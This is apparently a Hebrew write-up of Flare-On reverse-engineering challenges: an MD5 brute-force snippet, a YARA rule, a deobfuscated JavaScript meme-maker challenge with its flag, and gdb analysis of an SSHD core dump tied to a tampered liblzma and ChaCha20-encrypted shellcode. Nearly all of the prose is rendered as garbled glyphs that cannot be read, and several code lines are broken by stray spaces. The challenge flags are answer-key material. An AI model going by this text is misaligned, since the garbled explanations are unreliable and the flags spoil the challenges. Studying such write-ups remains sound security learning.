target_hash = "89484b14b36a8d5329426a3d944d2983"  
for char1 in range ( 32, 127):  
    for char2 in range ( 32, 127):  
        combination = chr (char1) + chr (char2)  
        hash_result = hashlib.md5(combination.encode()).hexdigest()  
        if hash_result == target_hash:  
            print ( f "Match found! Combination: '{combination}', Hash: 
{hash_result}" )  
            break  
    else :  
        continue  
    break  
else :  
    print ( "No matching combination found." )  
 

˳˧˶ˮ ˪˟˵ˮˣ ˸˞ ˦˪˲ˢ Ϧru ΦϦ˟˪˷˟ sˢˤ ˞˪ ˧˸˧˧ˢ ˥ˣ˦˟ ˫˞ ˧ˮ˞ ˨˧˶˴ ˨ˣ˲ˢ˪ ˸˞ ˦˪˲ˢ ˪˪ˠ˟ sπendianess x˞ 

˞˪ Φ˪˟˞ ˧˶˥˞ ˢˬ˩ ˫˧˰ˠ˶ ˧˸˦˪˵ ˢˤ˷ ˢ˞˶ˮ˩ ˨˪ˣˢ ˸˧˧˞˪ ˢ˧˴˞˧˶ˣ ˪˷ ˢ˪˧ˬˢ rule Φˤ˞ ˢ˞˶ˮ˩ ˦˪˲ˢ˷ 

˭˧˵˸ ˧˲˩ ˞ˣˢ˷Φ 

˨˩ ˧˸˩˷ˬˢ ˣ˸ ˣ˸ Φ˪˷ˬ˪ ˣ˸˪ ˧˷˧˪˷ˢ ύ˯˵ˡˮ˧˞ н ό˧˸˞˴ˬ ˸˞ ˧˞ˮ˸ˢΥ 

uint8( 2) + 11 == 119 

˶˷˲˞ ˲ˣ˞˟ ˭˧ˡ˧˧ˬ ˵˧˯ˢ˪ ˣ˸ˢ˷ ˞ˣˢ ммф ˸ˣ˥˲ мм Σ˸˞ˤ ˸˶ˬˣ˞ млу Σ˸˞ˤ ˸˶ˬˣ˞ ˸ˣ˞ˢ l Φˢ˷˰ˬ˪ ˷˧ ˭ˣˬˢ 

˫˧˞ˮ˸ ˫ˢ˷ ˧˶˯˥ ˸ˣ˰ˬ˷ˬ ˪˩˪ˣ ˯˵ˡˮ˧˞ ˪˷ ˣ˸ x˞ ˱˴˶ ˫˧ˣ˯ˬ ˪˷ ˫˧˯˵ˡˮ˧˞ ˷˧ ˧˞ˮ˸ ˡ˥˞ ˞ˣˢ˷ ˟ˣ˷˥ˢ 

˸ˬ˞˟ ˣˮˬˬˣ ˶˷˲˞ ˵˧˯ˢ˪ ˸˞ ˣ˸ˢ ˭ˣ˩ˮˢ ˣ˸ˣ˞˪ ˯˵ˡˮ˧˞ Φ˨˩ ˫ˠ˷ ˢ˷˧ˠ ˸˧ˮˡ˧ ˣˬ˩ ˧˪˷ ˢ˟˶ˢ ˸ˣ˥˲ ˢ˩ˣ˶˞ 

ˢˬˬ ˞˧ˢ˷ ˸˧˞˶ˮ ˢ˪˥˸ˢ˟Φ 

˶˥˞˪ ˸ˡˣ˟˰ ˫˧˪ˬˮ Σ˧˸˰ˠˢ ˱ˣ˯˟ ˦˪˲˪ ˞˟ˢ ˪˧˩ˬˢ ˫ˠ ˸˞ ˪ˠˡˢΥ 

rule flareon { strings: $f = "1RuleADayK33p$Malw4r3Aw4y@flare-on.com" condition: $f } 
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˶ˠ˸˞ˢ ˧˰˧˟˶ˢ π Meme Maker 3000 

˶ˠ˸˞˟ ˢˤ ˪˟˵ˮ ˳˟ˣ˵ HTML ˞ˣˢ˷ ˢ˷˰ˬ˪ ˶˸˞ Φˣ˟ˣ ˡˣ˵ js ˮ˷ˢ˞˶ obfuscated Φ˪˟˞ ˫ˡˣ˵ ˢ˞˶ˮ ˶˸˞ˢ˷ 

ˢ˞˶ˮ ˨˩Υ 

 

˪˩ ˢ˴˧˥˪ ˪˰ ˫˧˦ˮˬ˪˞ˢ ˣˮ˧ˮ˲˪ Σ˪˧˰˲˸ ˸˞ ˡˣ˵ sπjs Φˣ˞ˣ˟ ˭˥˟ˮ ˣ˸ˣ˞ Σˣˢ:˨˩ ˪˧˥˸ˬ ˞ 

<script >const a0p =a0b;( function ( a, b){ const o=a0b,c =a(); while ( !! []){ try { const d=parseInt ( o( 0xd7ed))  
/ 0x1* ( parseInt ( o( 0x381d)) / 0x2) +- parseInt ( o( 0x10a7f )) / 0x3* ( - parseInt ( o( 0x15fd2 )) / 0x4) +parseInt ( o( 0x 
128f8 )) / 0x5+- parseInt ( o( 0x1203c)) / 0x6+parseInt ( o( 0xe319)) / 0x7* ( parseInt ( o( 0xe69f )) / 0x8) +- parseInt (  
o( 0x17d84)) / 0x9+parseInt ( o( 0x6866)) / 0xa* ( - parseInt ( o( 0x2e3b)) / 0xb); if (d ===b) break ; else c[ ' push' ](c  
[ 'shift' ]());} catch (e){c[ 'push' ](c[ 'shift' ]());}}}(a0a, 0x56f9f )); const a0c=[ a0p( 0x14c8f ) +a0p( 0x114 
df ) +a0p( 0x17cca ) +a0p( 0xcd68) +'verflo' +a0p( 0xccba) +'egacy \ x20' +a0p( 0x7d61), a0p( 0x13c3f ) +a0p( 0x10d3)
+a0p( 0x17a2), a0p( 0x14c8f ) +'ou \ x20dec' +a0p( 0x8440) +a0p( 0xd950) +'bfusca' +'ted \ x20co' +a0p( 0x143ce) +a0
p( 0x562f ) +'kes \ x20pe' +a0p( 0x17b7c) +a0p( 0x10d4a), a0p( 0x257) +'er \ x20a\ x20w' +a0p( 0x16235) +a0p( 0x168a9
) +a0p( 0xbbc2) +a0p( 0x6e47) +'ng' , 'When\ x20y' +a0p( 0xd14e) +'compil' +'er \ x20cra' +'shes' , a0p( 0x1525f ) +a0
p( 0x2220) +a0p( 0x18635) +a0p( 0x12631) +a0p( 0xd3c7), 'Securi' +'ty \ x20\ x27Ex' +a0p( 0x11370), 'AI' , a0p( 0x12
de4) +a0p( 0x11202) +', \ x20but \ x20' +'can \ x20yo' +a0p( 0x3968) +' \ x20it?' , a0p( 0x14c8f ) +a0p( 0x1a83) +a0p( 0x
abcf ) +a0p( 0x293c) +a0p( 0x8e99) +'e \ x20firs' +a0p( 0xe162), a0p( 0x100c0) +a0p( 0x8c1b) +a0p( 0x3bba) +a0p( 0xb
640) +a0p( 0x1490f ), ...  

˧˲˩ ˧˸˶ˬ˞˷Υ obfuscated Φ˪˟˞ ˷ˬˬ ˫˧ˮ˷˟ ˸ˣˮˣ˶˥˞ˢ ˧˸˧˪˧ˠ ˷˧˷ ˞˪ˬ obfuscators ˫ˠˣ deobfuscators 

π˪js ˸˷˶˟ Φ˶˥˞˪ ˷ˣ˲˧˥ ˶˴˵ ˧˸˞˴ˬ ˸˞ ˶˸˞ˢ ˢˤˢ Φ˧˸˵˸˰ˢ ˣ˧˪˞ ˸˞ ˡˣ˵ˢ ʕx s˞˧˟ˢ ˧˪ ˸˞ ˡˣ˵ˢ ˞˟ˢΥ 

const a0c = [  
    'When you find a buffer overflow in legacy code' ,  
    'Reverse Engineer' ,  
    'When you decompile the obfuscated code and it makes perfect sense' ,  
    'Me after a week of reverse engineering' ,  
    'When your decompi ler crashes' ,  
    "It's not a bug, it'a a feature" ,  
    "Security 'Expert'" ,  
    'AI' ,  
    "That's great, but can you hack it?" ,  
    'When your code compiles for the first time' ,  
    "If it ain't broke, break it" ,  
    "Reading someone else's code" ,  
    'EDR' ,  
    'This is fine' ,  
    'FLARE On' ,  
    "It's always DNS" ,  
    'strings.exe' ,  

https://deobfuscate.relative.im/
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    "Don't click on that." ,  
    'When you find the perfect 0 - day exploit' ,  
    'Security through obscurity' ,  
    'Instant Coffee' ,  
    'H@x0r' ,  
    'Malware' ,  
    '$1,000,000 ' ,  
    'IDA Pro' ,  
    'Security Expert' ,  
  ],  
  a0d = {  
    doge1: [  
      [ '75%' , '25%' ],  
      [ '75%' , '82%' ],  
    ],  
    boy_friend0: [  
      [ '75%' , '25%' ],  
      [ '40%' , '60%' ],  
      [ '70%' , '70%' ],  
    ],  
    draw: [[ '30%' , '30%' ]],  
    drake: [  
      [ '10%' , '75%' ],  
      [ '55%' , '75%' ],  
    ],  
    two_buttons: [  
      [ '10%' , '15%' ],  
      [ '2%' , '60%' ],  
    ],  
    success: [[ '75%' , '50%' ]],  
    disaster: [[ '5%' , '50%' ]],  
    aliens: [[ '5%' , '50%' ]],  
  },  
  a0e = {  
    'doge1.png' :  
      'data:imag e/png;base64, iVBORw0KGgoAAAANSUhEUgAAA6kAAALQCAIAAAD956FZAANbmEl...  
    'draw.jpg' :  
      'data:image/jpeg;base64, /9j/4AAQSkZJRgABAQAASABIAAD/2wCEAAICAgICAgMCAgMFAw...  
    'drake.jpg' :  
      'data:image/jpeg;base64, /9j/4AAQSkZJRgABAQAAAQABAAD/2wCEAA MCAgMCAgMDAwMEAw... 
    'two_buttons.jpg' :  
      'data:image/jpeg;base64, /9j/4AAQSkZJRgABAQAA AQABAAD/2wCEAAYEBQYFBAYGBQYHBw... 
    'fish.jpg' :  
      'data:binary/red; base64, TVqQAAMAAAAEAAAA//8A ALgAAAAAAAAAQAAAAAAAAAAAAAAAA... 
    'boy_friend0.jpg' :  
      'd ata:image/jpeg;base64, /9j/4AAQSkZJRgABAQAAA QABAAD/2wCEAAYEBQYFBAYGBQYHBw... 
    'success.jpg' :  
      'data:image/jpeg;base64, /9j/4AAQSkZJRgABAQAAA QABAAD/2wCEAAgGBgcGBQgHBwcJCQ... 
    'disaster.jpg' :  
      'data:image/jpeg;base64, /9j/4AAQSkZJRgABAQAAAQA BAAD/2wCEAAgGBgcGBQgHBwcJCQ... 
    'aliens.jpg' :  
      'data:image/jpeg;base64, /9j/4AAQSkZJRgABAQAAAQ ABAAD/2wCEAAYEBQYFBAYGBQYHBw... 
  }  
function a0f () {  
  document. getElementById ( 'caption1' ).hidden = true  
  document. getElementById ( 'caption2' ).hidden = tru e 
  document. getElementById ( 'caption3' ).hidden = true  
  const a = document. getElementById ( 'meme- template' )  
  var b = a.value. split ( '.' )[ 0]  
  a0d[b]. forEach ( function ( c, d) {  
    var e = document. getElementById ( 'caption' + (d + 1))  
    e.hidden = false  
    e.style.top = a0d[b][d][ 0]  
    e.style.left = a0d[b][d][ 1]  
    e.textContent = a0c[ Math. floor ( Math. random() * (a0c.length -  1))]  
  })  
}  
a0f ()  
const a0g = document. getElementById ( 'meme- image' ),  
  a0h = document. getElementById ( 'meme- container' ),  
  a0i = document. getElementById ( 'remake' ),  
  a0j = document. getElementById ( 'meme- template' )  
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a0g.src = a0e[a0j.value]  
a0j. addEventListener ( 'change' , () => {  
  a0g.src = a0e[a0j.value]  
  a0g.alt = a0j.value  
  a0f ()  
})  
a0i. addEventListener ( 'click' , () => {  
  a0f ()  
})  
fun ction a0k() {  
  const a = a0g.alt. split ( '/' ). pop()  
  if (a !== Object . keys (a0e)[ 5]) {  
    return  
  }  
  const b = a0l.textContent,  
    c = a0m.textContent,  
    d = a0n.textContent  
  if (  
    a0c. indexOf (b) == 14 && 
    a0c. indexOf (c) == a0c.length -  1 && 
    a0c. indexOf (d) == 22 
  ) {  
    var e = new Date(). getTime ()  
    while ( new Date(). getTime () < e + 3000) {}  
    var f = 
      d[ 3] + 
      'h' + 
      a[ 10] + 
      b[ 2] + 
      a[ 3] + 
      c[ 5] + 
      c[c.length -  1] + 
      '5' + 
      a[ 3] + 
      '4 ' + 
      a[ 3] + 
      c[ 2] + 
      c[ 4] + 
      c[ 3] + 
      '3' + 
      d[ 2] + 
      a[ 3] + 
      'j4' + 
      a0c[ 1][ 2] + 
      d[ 4] + 
      '5' + 
      c[ 2] + 
      d[ 5] + 
      '1' + 
      c[ 11] + 
      '7' + 
      a0c[ 21][ 1] + 
      b. replace ( ' ' , ' - ' ) + 
      a[ 11] + 
      a0c[ 4]. substring ( 12, 15)  
    f = f. toLowerCase ()  
    alert ( atob ( 'Q29uZ3JhdHVsYXRpb25zISBIZXJlIHlvdSBnbzog' ) + f)  
  }  
}  
const a0l = document. getElementById ( 'caption1' ),  
  a0m = document. getElementById ( 'caption2' ),  
  a0n = document. getElementById ( 'caption3' )  
a0l. addEventListener ( 'keyup' , () => {  
  a0k()  
})  
a0m.addEventListener ( 'keyup' , () => {  
  a0k()  
})  
a0n. addEventListener ( 'keyup' , () => {  
  a0k()  
})  
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˫˞ ˪˩˸˯ˮ ˪˰ ˶˸˞ˢ ˟ˣ˷ ˵˥˷ˮˣ ˣ˸˧˞ ˸˴˵ Σ˭˧˥˟ˮ ˸ˣ˶ˣ˷˷ ˦˯˵˦ˢ ˸ˣ˰ˣ˟˵ˢ ˢ˪˥˸ˢ˟ ˨˶˰ˬ˟ a0c Σ˫ˢ 

˫˧˦˯˵˦ˢ ˫˧˰˧˲ˣˬ˷ ˟πmemes Φ˸ˣ˥˲˪ ˸ˣ˯ˮ˸ˢˬ ˪ˣˬ ˶˸˞ˢ ˢ˞˶ˮ ˪˩˷ ˢ˴˧˥˪ ˪˰ remake ˢˮ˷ˬ ˸˞ 

˫˧˦˯˵˦ˢ ˪˩˟ meme Σˢ˶ˣ˞˩˪ ˸ˣ˧˪ˬˣˡˮ˶˟ Φ˶˷˲˞ˣ ˫ˠ ˸ˣˮ˷˪ ˸˞ sπmeme ˣˬ˴˰ ˸˶ˤ˰˟ sπdropbox Φ

ύ˲ˣˬ˷ˢ˰˧ ˢ˟ ˨˶˰ˢ doge ˸˶˧˶˟˩ ˪ˡ˥ˬ Φό 

˟˪˷˟ ˢˤˢ ˧˸ˬ˷ ˸˞ ˫˧˧ˮ˧˰ˢ ˧˪˷ ˪˰ ˫˧˞ˮ˸ˢ ˢˮˣˬ˸˟ ˢˮˣ˶˥˞ˢ Φˢ˞˶ˮ ˢˤ˷ ˢ˲˴ˬ ˟ˣ˪˧˷˪ ˧˲˧˴˲˯ ˪˷ 

meme ˫˧˦˯˵˦ˣ ˧ˡ˩ ˯˧˲ˡˢ˪ ˨˶˰ ˭˧˧ˮ˰ˬ Σ˪˩˩ ˢ˞˶ˮˢ ˪ˠˡˢ Σˢ˷˰ˬ˪ ˸ˣ˞ˡˣˣ˟ ˪ˠˡˢ Φ˧˩ ˫˞ ˥ˮ˰˲ˮ ˸˞ sπ

base64 ˧˶˥˞˷ ˧˞ˮ˸ˢ ύˢˤ ˶˷˶ˣ˷ˬ˷ ˪-f ό˭˧˥˟ˮ ˞ˣˢ˷Υ 

Congratulations! Here you go:  

˭˞˩ ˶˟˩ ˧˸˦˪˥ˢ ˠ˟ˡ˪ ˶ˣ˸˲˪ˣ ˸˧ˬ˞ˮ˧ˡ Σ˸ˣ˶ˬ˪ ˡ˟˰˧ˡ˟˷ ˧ˮ˞ ˢ˞ˣ˶ ˫ˠ˷ ˸˧˦˦˯ ˢˤ ˦ˣ˷˲ Φ˧˸˵˟ˡˢ ˸˞ 

ˡˣ˵ sπjs ˥ˮ˰ˣ˲ˬˢ ˫ˣ˵ˬ˟ ˡˣ˵ˢ sπobfuscated ˧˸˥˸˲ˣ ˭˲ˡ˲ˡ˟ Φ˧˸˵ˡ˟ ˸˞ ˫˧˩˶˰ˢΥ 

a0c[ 14]; // 'FLARE On'  
a0c[a0c.length - 1]; // 'Security Expert'  
a0c[ 22]; // 'Malware'  

 

˫˞˸ˢ˟ ˫˧˞ˮ˸˪ ˧˸˧˞˶˷ ˵˪˥˟ ˭ˣ˶˥˞ˢ ˡˣ˵˟ Φˢ˪˞ ˢ˷˰ˬ˪ ˫˧˦˯˵˦ˢ ˫˧˷ˣ˶ˡˢ ˧ˡ˩ ˯˲ˡˣ˧˷ ˧˪ ˪ˠˡˢ Φ

ύ˧˸ˬ˷ ˸˞ ˸ˣ˞˴ˣ˸ˢ ˟πcomments ˧ˡ˩ ˶ˣ˩ˤ˞˷ ˫˸ˣ˞  Φό˰ˠ˶ Σ˶˞˷ˮ ˣˮ˪ ˸ˣ˪ˠ˪ ˢˬ sπmeme ˨˧˶˴˷ ˰˧˲ˣˢ˪ Σ

˫˷˪ ˨˩ ˫˧˧˵ ˧˞ˮ˸ˢ ˢˤˢΥ 

if (a !== Object . keys (a0e)[ 5]) {  
    return  
  }  

˫˞ ˪˩˸˯ˮ ˨˶˰ˬ˟ a0e Σˢ˞˶ˮ ˷πр ˞ˣˢ ˯˵ˡˮ˧˞ˢ ˪πboyfriendΥ 

 

˶˸ˣˮ ˵˶ ˶˶˟˪ ˢˬ ˫ˢ˧ˮ˧˟ˬ ˞ˣˢ a,b,cύ Σ˨˶ˣ˴˪ ˨˩ ˧˸ˠ˟˧ˡ Σ˨ˣ˯˥˞ ˫˩ˬˬ ˸˞ ˢˤ Φό  
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˫˧˷˪ ˸˞ ˫˧˦˯˵˦ˢ ˫˞˸ˢ˟ ˸ˣˣ˵˪ˣ ˟ˣ˦˪ Φ˶˥˞˪ ˢ˷˰ˮ˷ ˸˞ ˢˤ ˪˟˵ˮ alert ˫˰ ˪ˠˡˢΥ 

 

ˢˣˢ ˢˮ˧˪ˠˡ :ˣˮ˪˟˧˵˷ 

wh0a_it5_4_cru3l_j4va5cr1p7@flare-on.com 

 

˶ˠ˸˞ˢ ˧˷˧ˬ˥ˢ π SSHD 

˦˯˵˦ˢ ˶ˠ˸˞˟ ˢˤ ˪˟˵ˮ ˸˞ ˶ˣ˞˧˸ˢ ˞˟ˢΥ 
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˳˟ˣ˵ sπ7z ˪˧˩ˬ ˣ˩ˣ˸˟ tar ˫˷˟ ssh_container ˪˧˩ˬˢ ˧˴˟˵ ˸˩˶˰ˬ ˫˧˧˦˶ˡˮ˦˯ ˪˷ ˯˵ˣˮ˧˪ Φˢ˪˞˷ˢ 

˸˷˵˟˸ˬˢ ˞˧ˢ ˢ˲˧˞ˬ ˪˧˥˸ˢ˪ Φ˪˩ ˡ˥˞ ˷ˠ˧ˮ ˢˤ˪ ˸˶˥˞ Φ˧ˮ˞ ˧˸˦˪˥ˢ ˦ˣ˷˲ ˭˧˧ˬ˪ ˧˲˪last date 

modified Σ˦˶˲ metadata ˫˧˧˵˷ ˪˩˟ ˳˟ˣ˵ Σ˧˸˧˷˰ ˸˞ˤ ύ˨ˣ˸ˬ ˢ˧˧˵˧˸ˢ ˧˸˴˪˧˥˷ ˢ˧˪˞ ˸˞ ˫˧˴˟˵ˢ ό

˸˶ˤ˰˟ ˢˡˣ˵˲ˢ ˢ˞˟ˢΥ 

find . - type f - exec stat -- format ='%y %n' {} + | sort  

˪˟˵ˮ ˦˪˲ ˵ˮ˰ ˪˟˞ ˣ˲ˣ˯˟ ˫˧˞˴ˬˮ ˫˧˶˟ˡˢ ˫˧ˮ˧˧ˮ˰ˬˢ ˸ˬ˞˟Υ 
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˟ˣ˦ ˪ˠˡˢ ˞ˣˢ ˪ˣ˶˦ Σ˪˟˞ ˷˧ ˭˞˩ ˢˬ˩ ˫˧˴˟˵ ˶˲ˣ˯ ˬ˫˧ˮ˧˧ˮ˰ Σ˸˧˷˞˶ ˧˴˟˵ ˫˧ˠˣ˪ˢ ˣ˞˶˧ ˣˮ˪ ˶˟ˣˡˬ˷ 

˸˩˶˰ˬ˟ debian Σ˸˧ˮ˷ ˢ˧˧˶˲˯ˢ liblzma ˸˧˞˶ˮ ˢˡˣ˷˥ ˡˣ˞ˬ Σ˫˧˷ˮ ˢ˧˪˰ ˭˧˰ ˸˧˷˧˪˷ˣ ˸ˣ˟˵˰˟ sπcore 

˶ˣ˶˟ ˢˬ˷ ˳˶˷ ˢ˲ ˢ˧ˢ sshd Φˢ˞˶ˮ ˨˶˦˴ˮ˷ ˶ˣ˵˥˪ ˸˞ sπcore Φ˪˰ ˸ˮˬ ˪˵ˢ˪ ˪˰ ˫˧˧˥ˢ ˧˪˷ Σ˧˸ˮ˵˸ˢ ˪˰ 

ˢˮˣ˩ˬ ˸˧˪˞ˣ˦˶˧ˣ ˸˞ ˢ˸ˣ˞ ˢ˯˶ˠ ˪˷ debian π ˢ˯˶ˠ мн π ˪˰ ˸ˮˬ ˸ˣ˵˥˪ ˢ˶ˣ˴˟ ˸˧˟˦˧ˬ ˢ˥ˣˮˣ ˸˞ 

˸˩˶˰ˬˢΦ 

˧˸˴˶ˢˣ ˫ˠ ˸˞ ˸ˣˡˣ˵˲ˢ ˸ˣ˰˧˲ˣˬˢ ˟πlog ˪˷ apt ˭ˢ˷Υ  

apt - get install openssh - server  
apt - get install build - essential  
apt - get install ltrace  
apt - get install vim  
apt - get install iputils - ping  
apt - get in stall gdb  

˸ˣˮ˩˟ Σ˧ˮ˞ ˞˪ ˰ˡˣ˧ ˢˬ˩ ˢˤ ˳ˣ˥ˮ Σ˧˸˪ˣ˩˧ ˦ˣ˷˲ ˥˧˶˩ˢ˪ ˸˞ ˢˤ ˷˲˥˪ ˸˞ ˪˩ ˸ˣ˧˶˲˯ˢ ˢ˧˧˵˧˸ˢˬ ˧ˮ˞˷ 

˞˴ˬˮ ˢ˟ Φ˪˟˞ ˢˤ ˢˬ ˧˸˦˪˥ˢ˷ ˸ˣ˷˰˪ Φ˟˪˷˟ ˢˤˢ ˶˟˩ ˧˸˧˴˶ ˳˧˶ˢ˪ gdb ˫˰ sshd ˞˴ˬˮ˷ ˟Υ 

./usr/sbin/sshd  

˳˟ˣ˵ˣ sπcore Φ˨˞ ˶ˣ˶˟ ˧˪ ˨˧˶˴˷ ˱˧˪˥ˢ˪ ˸˞ liblzma Φ˞˪ ˧ˡ˩˟ s˳˟ˣ˵ ˢˤˢ ˰˧˲ˣˬ ˭˧˟ ˫˧˴˟˵ˢ ˫˧ˮˣ˶˥˞ˢ 

ˣˮˣ˷˷ Φ˧˸˴˶ˢ ˸˞ ˢˡˣ˵˲ˢ ldd ˧ˡ˩ ˸ˣ˞˶˪ ˢ˲˧˞ˬ ˢ˧˧˶˲˯ˢ liblzma ˸ˮ˰˦ˮ ˦ˣ˷˲ˣ ˧˸˧ˮ˧˷ ˸˞ ˫˷ˢ ˪˷ 

˳˟ˣ˵ˢ ˧˶ˣ˵ˬˢ ˣˬˣ˵ˬ˟ˣ ˧˸ˬ˷ ˸˞ ˳˟ˣ˵ˢ liblzma ˡˣ˷˥ˢ ˣˮ˪˷ Φ 

˪˟˞ ˰ˠ˶ Σˢˬ ˫˰ ˪˩ ˶˞˷ ˸ˣ˧˶˲˯ˢ Σ˫˞ ˭˰˦ˮ ˢ˧˶˲˯ ˞˪ ˸ˬ˞ˣ˸ ˪˟˵ˮ ˦˪˲ ˞˪ ˧ˮˣ˧ˠˢ ˟πgdb Φ˨˶ˣ˴˪ ˨˩ 

˧˸˧˯˧ˮ ˪˧˟ˠˢ˪ ˸˞ sπrunpath ˸˶ˤ˰˟ patchelf Φ˧˸˧˯˧ˮ ˡˣ˟˰˪ ˫˰ chroot ˪˰ ˢ˧˧˵˧˸ˢ Σ˫ˣ˷ ˶˟ˡ ˞˪ ˶ˤ˰ 

˞˪ ˦˪˲ Φˡ˰ ˱ˣ˯˟˪˷ ˸ˣ˰˦˟ ˧˸˴˶ˢ ˸˞ κusr/bin/sshd ˸˩˶˰ˬˢˬ ˧˪˷ ύ˫ˣ˵ˬ˟ ˢˤ ˵˲ˣ˯˷ ό˫ˣ˞˸˲ˣ sπ

backtrace ˢ˞˶ˮ ˧ˮˣ˧ˠˢ Σ˵˪˥ ˸ˣ˧˶˲˯ˢˬ ˣ˪˧˲˞ ˣˢˣˤ: 

gdb ./usr/sbin/ssh d ./var/lib/systemd/coredump/sshd.core.93794.0.0.11.172591767  

˪˟˵ˮˣ ˸˞ ˦˪˲ˢ ˞˟ˢ ύ˟ˠ˞ Σ˧˲˩ ˫˸˞˷ ˫˧˞ˣ˶ Σ˧˸ˮ˵˸ˢ ˫ˠ GEF ˧˩˶ˣ˴˪ ˸ˣ˥ˣˮΥό 

 

˦˟ˬ ˪˰ sπbacktrace ˢ˞˶˧ ˣˮ˪ ˢ˷πliblzma ˡˣ˷˥ˢ ˣˮ˪˷ ˞˶˵ ˸˟ˣ˸˩˪ л ˢˤˣ ˭ˬ ˫˸˯ˢ ˪˧˟ˣˢ ˢ˯˧˶˵˪ Φ 
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˭˥˟ˮ ˢˬ ˡˣ˵ˢ ˰˧˲ˣˬ˷ ˟πframe ˮ˲˪ ˭˩˧ Σ˨˶ˣ˴˪ ˨˩ ˧˸˲ˡ˰ˢ ˷ˬ˸˷ˢ˪ ˟πIDA π ˥˸˲ˮ ˸˞ IDA Σˢ˷˰ˮ 

rebase ˸˟ˣ˸˩˪ ˯˧˯˟ˢ ˪˷ ˳˟ˣ˵ˢ ύ˫ˣ˷ˬ˷ ˢˬ ˰˧˲ˣˬ ˧ˣ˲˧ˬ˟ ˪˷ gdb ˩πdeleted ˪˟˞ ˭˧ˣ˴ˬ ˟πbacktrace 

π˩liblzma ˡˣ˷˥ˢ ˣˮ˪˷ ό˳ˣ˲˵ˮˣ ˸˟ˣ˸˩˪ ˡ˧˪˷ frame ˶˲˯ˬ м: 

 

˸˟ˣ˸˩ˢ ˮˢϦ˪ ˸ˮˬˣ˯ˬ ˶ˣ˲˞˟ ύˡ˧ˬ ˧˶˥˞ call rax Σόˢ˞˶ˮ ˴˷ˣˮ˵ˡ ˢ˶˰˷ˢ˟ ˣˮ˪˷ ˶˟ˣˡˬ˷ ˳˟ˣ˵˟ ˢˤˢ Φ˪˩ˣˮ 

˞ˡˣˣ˪ ˸ˣ˪˵˟ ˸˶ˤ˰˟ gdb Φ˥˪˷ˮ ˸˞ ˢˡˣ˵˲ˢ frame м ˢ˞˶ˮˣ ˸ˣˡˣ˵˲ˢ˷ ˸ˣˢˤ ˣ˪˞˪ ˣˮ˞˷ ˫˧˞ˣ˶ ˢ˧˴˵ˮˣ˲˟ Φ

˧˲ˣ˧ Σˣˮ˥ˮ˞ ˫ˣ˵ˬ˟ ˭ˣ˩ˮˢ Φ 

˫˞ ˪˩˸˯ˮ ˪˰ ˢ˪ˣ˰˲ˢ ˶˪˧˧˲ˬˣ˵˧ˡ˟ ύмлvΥό 

 

˭˧˥˟ˮ ˢ˯˧˶˵ˢ˷ ˣˮ˪˷ ˸˷˥˶˸ˬ ˭ˬˤ˟ ˢ˞˧˶˵ ˪πмлv Φˢˬ ˣ˧˷˩˰ Κ˟˪˷˟ ˢˤˢ ˧˸˩˪ˢ ˡˣ˟˧˞˪ Φ˧˸˧˧ˢ ˪˩ ˨˩ 

˵ˣ˯˰ ˸ˮ˧˥˟˟ ˡˣ˵ˢ ˧ˮ˲˪ ˢ˞˴ˣ˸˩ˣ ˨˩ˬ ˫ˠ ˸˞˧˴ˬ˟ symbols ύ˱ˣ˯˟˷ ˧˸˞˴ˬ ˪˟˞ ˢˤ ˞˪ ˶ˤ˰ ˧˪ ό˧˸˷˸ˣˢ˷ 

˧˶ˬˠ˪ Φ˸ˬ˞ˢ ˦ˣ˷˲˷ ˧˸˟˶˧˯ ˸ˣ˞˶˪ ˢˬ ˰˧˲ˣˬ ˧˪ ˪ˣˬ ˫˧˧ˮ˧˰ˢ Φ˧˸ˮ˟ˢ˷˩ ˸˞ ˢˤ Σˢˤ ˢ˧ˢ ˨˧˟ˬΦ 
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˫ˡˣ˵ ˪˩ Σˢˤ ˯˶ˣ˵ ˪˪ˠ˟ ˢˤ˷ ˢˮ˷ˬ ˸˞ фv ˸ˤˣ˶˥ˬˬ ˢˮ˧˵˸ ˸ˤˣ˶˥ˬ˪ ˫˰ ˥ˣˣ˶ ˱ˣ˯˟ Σ˭˧˞ ˢ˪ˣ˰˲ ˸˞ˤ˩ Φˢˤ 

˶ˬˣ˞ ˧˪ ˢˤ˷ ˳˶ˣˢ ˩πroot ˢ˞˶ˮ˩ˣ ˫ˠ˷ ˢˬ ˧˞ˮ˸˟˷ ˧ˬ˧ˮ˲ˢ ˰˴˟˸ˢ Φˤ˞ ˢˬ ˢ˷˰ˬ˪ ˢ˶ˣ˵ ˫˞ ˧˞ˮ˸ˢ 

˶ˤˣˬˢ ˢˤˢ ˫˧˧˵˸ˬΚ 

˦˟ˬ ˱ˣ˦˥ ˸ˣ˪ˣ˰˲˟ ˫˧ˮ˲˟˷ ˣˬ˶ˠ˧ ˣˮ˪ ˭˧˟ˢ˪ ˭˲ˣ˞˟ ˧ˡ˧˧ˬ ˶˟ˣˡˬ˷ ˪ˣ˥˸˞˟ ˪˷ ˭˲ˣ˴ˢ ChaCha20 ˥˵ˣ˪˷ 

˶˲˞˟ ˰ˣ˟˵ ˥ˮ˰˲ˬˣ ˣ˸ˣ˞ Σ˳˧˶ˬ ˣ˸ˣ˞ ύshellcode όˤ˞ˣ ˭˧˲˴ˬ ˣ˸ˣ˞ ˷ˡ˥ˬ Σ˨˩ ˢ˧˴˪˲ˬˣ˵˧ˡˢ ˸˧˞˶ˮ ˶˥˞˪ 

˧˸ˮ˟ˢ˷ ˸˞ ˢˤΥ 

 

 

˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ ˥˸˲ˬˢ sxπnonce ˫˧˞˴ˬˮ ˟πrbp+4 ˟xπrbp+0x24 ˢˬ˞˸ˢ˟ Φ˫˞ ˸˞ ˫˧˪˞ˣ˷ ˸˞ ˫˩ˬ˴˰ 

˨˧˞ ˧ˮ˞ ˰ˡˣ˧ ˢˬ ˫˧˞˸ˬ ˢˬ˪ Σˢ˟ˣ˷˸ˢ ˞˧ˢ ˥˸˲ˬˢ˷ ˞ˣˢ ˨˶ˣ˞˟ он ˫˧˸˟ ˡˣ˰˟ s-nonce ˞ˣˢ у x˞ мн Σ

˭˞˩ˬ ˪˵ ˵˧˯ˢ˪ Φ˭˟ˣˬ˩ ˸˞˷ ˫˧˩˶˰ˢ ˧˸˞˴ˣˢ ˸˧ˮˡ˧ ˸˶ˤ˰˟ gdb ˧ˮ˞˷˩ ˟πframe м Φ˸˞ ˶˲˞˟ˢ ˭˲˴ˣˬˢ 

